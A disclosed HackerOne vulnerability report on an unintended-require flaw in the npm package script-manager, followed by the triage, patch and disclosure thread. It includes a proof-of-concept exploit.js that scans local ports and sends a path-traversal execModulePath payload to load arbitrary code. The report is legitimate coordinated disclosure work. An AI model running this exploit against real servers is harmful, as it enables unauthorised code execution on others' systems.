

5 [script-manager] Unintended require

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TIMELINE



[amilov](#) submitted a report to [Node.js third-party modules](#).  
I would like to report Unintended Require in `script-manager`.  
It allows loading arbitrary non-production code (js files).

Jul 26th (3 ye

Module

**module name:** script-manager  
**version:** 0.8.6  
**npm page:** <https://www.npmjs.com/package/script-manager>

Module Description

node.js manager for running foreign and potentially dangerous scripts in the cluster

Module Stats

462 downloads in the last day  
3729 downloads in the last week  
13212 downloads in the last month

Vulnerability

Vulnerability Description

`script-manager` is a Node.js module wich runs HTTP server as a child process and sends requests to this server. The server dynamically loads (with help of `require`) some parts of the code, as long as the path to required code depends on the data from request (`req.body.options.execModulePath`), if the attacker knows the por the server it is possible to load code that was not intended to execute.

source code example:

<https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268>

```
require(req.body.options.execModulePath)(req.body.inputs, callback, function (err, val) {
```

Detailed description of this bug can be found here: <https://nodesecroadmap.fyi/chapter-1/threat-UIR.html>

[script-manager\\_scheme.png \(F539727\)](#)

Steps To Reproduce:

- create directory for testing

```
mkdir poc  
cd poc/
```

- install package

Code 24 Bytes

[Wrap lines](#) [Copy](#) [Dow](#)

```
1 npm i script-manager
```

- create index.js file with default usage example of script-manager

index.js (example code form <https://www.npmjs.com/package/script-manager>)

Code 507 Bytes

[Wrap lines](#) [Copy](#) [Dow](#)

```
1 var scriptManager = require("script-manager")({ numberOfWorkers: 2 });  
2  
3 scriptManager.ensureStarted(function(err) {  
4  
5     /*send user's script including some other specific options into  
6     wrapper specified by execModulePath*/  
7     scriptManager.execute({  
8         script: "return 'Jan';"  
9     }, {  
10        execModulePath: path.join(__dirname, "script.js"),  
11        timeout: 10  
12    }, function(err, res) {  
13        console.log(res);  
14    });  
15  
16 });
```

- create script.js (example file from <https://www.npmjs.com/package/script-manager>)

script.js

Code 235 Bytes

[Wrap lines](#) [Copy](#) [Dow](#)

```
4     });
5     done(result);
6     });
```

- create pwn.js file with some arbitrary code for testing

pwn.js

Code 24 Bytes

[Wrap lines](#) [Copy](#) [Down](#)

```
1     console.log('PWNED')
```

- create file exploit.js

main idea of the exploit is to request all ports in order to hit the one which serves the server and send crafted request to it

Code 67 Bytes

[Wrap lines](#) [Copy](#) [Down](#)

```
1     {"options": {"rid": 12, "execModulePath": "../../../../../pwn.js"}}
```

where '../../../../../pwn.js' is the path to script we want to execute

algorithm is simple:

1. send HTTP request (from example above) to all ports within 1024 - 65535 range
2. if there is specific response with the error message that contains:

Code 34 Bytes

[Wrap lines](#) [Copy](#) [Down](#)

```
1     require(...) is not a function
```

it means that we found our server and code was executed

exploit.js

Code 1.81 KiB

[Wrap lines](#) [Copy](#) [Down](#)

```
1     const request = require('request')
2     const host = 'localhost'
3     let stopEnum = false
4
5     /*
6     * Sends crafted HTTP request to specific port
7     * in order to check if it is the app we are looking for and exploit it
8     *
9     * @param {number} port - port number
10    * @returns {Promise}
11    */
12    async function sendRequestToPort(port) {
13        return new Promise((resolve, reject) => {
14            request.post(
15                {
16                    url: `http://${host}:${port}`,
17                    // sending json with path to js file we want to execute
18                    // https://github.com/pofider/node-script-manager/blob/master/lib/worker-servers.js#L268
19                    json: {"options": {"rid": 12, "execModulePath": "../../../../../pwn.js"}}
20                },
21                (err, req, body) => {
22                    process.stdout.write(`requested http://${host}:${port}\n`)
23                    // if there is specific response with the error message it means that we found our server
24                    // and code was executed
25                    if (body && body.error && body.error.message === 'require(...) is not a function') {
26                        console.log(`port is ${port}`)
27                        stopEnum = true
28                    }
29                    resolve()
30                }
31            )
32        })
33    }
34
35    (async function main(){
36        //ports range
37        const start = 1024
38        const finish = 65535
39
40        // split ports range into chunks of 1000
41        let first = start
42        let last = start + 1000
43        while (!stopEnum) {
44            if ( last > finish ) {
45                last = finish
46                stopEnum = true
47            }
48            const promises = []
```

```
52     }
53     await Promise.all(promises)
54     first = last + 1
55     last = first + 1000
56   }
57 })()
```

- install request library (for exploit.js to work) `npm i request`
- run index.js  
`node index.js`
- run exploit.js in another terminal and wait until it finishes (it may take a few minutes)  
`node exploit.js`

index.js should log 'PWNED' to terminal

#### Patch

#### Supporting Material/References:

- OS: Linux Mint current
- Node.js: 10.16.0
- NPM: 6.9.0

#### Wrap up

- I contacted the maintainer to let them know: Y
- I opened an issue in the related repository: N

#### Impact

An attacker is able to control the x in require(x) and cause code to load that was not intended to run on the server.

1 attachment:

FS39727: [script-manager\\_scheme.png](#)



1\_analyst\_layla HackerOne triage posted a comment.

Jul 27th (3 ye

Hi @inkz,

Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,  
[@bassguitar](#)



1\_analyst\_layla HackerOne triage changed the status to Triaged.

Jul 27th (3 ye

Hello @inkz,

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,  
[@bassguitar](#)



ermilov posted a comment.

Jul 29th (3 ye

Hi @bassguitar,

thanks for validation. I contacted the author of the module and he released the patch for `script-manager`  
<https://github.com/pofider/node-script-manager/commit/ac645ab2e58785324c467e0583d7f277a7aa07b3>



pofider joined this report as a participant.

Feb 3rd (3 ye



pofider posted a comment.  
Thank you. The patch was already released.

Feb 3rd (3 ye



marcinhoppe Node.js third-party modules staff posted a comment.  
[@ermilov](#) [@bassguitar](#) can you confirm this vulnerability has been fixed properly? Then I could proceed with disclosure. Thanks!

Feb 4th (3 ye



ermilov posted a comment.  
[@marcinhoppe](#) ok, I'll check it soon.

Feb 4th (3 ye



marcinhoppe Node.js third-party modules staff posted a comment.  
[@ermilov](#) were you able to verify if the issue was fixed?

Feb 6th (3 ye



ermilov posted a comment.  
[@marcinhoppe](#) sorry for the delay.  
Yes, I tried the new version of the package and I can verify that the issue was fixed.

Feb 6th (3 ye



marcinhoppe Node.js third-party modules staff posted a comment.

Feb 7th (3 ye

☐ [marcinhoppe](#) Node.js third-party modules staff requested to disclose this report.

☐ [ermilov](#) agreed to disclose this report.

☐ This report has been disclosed.

Feb 7th (3 ye

Feb 7th (3 ye

Feb 7th (3 ye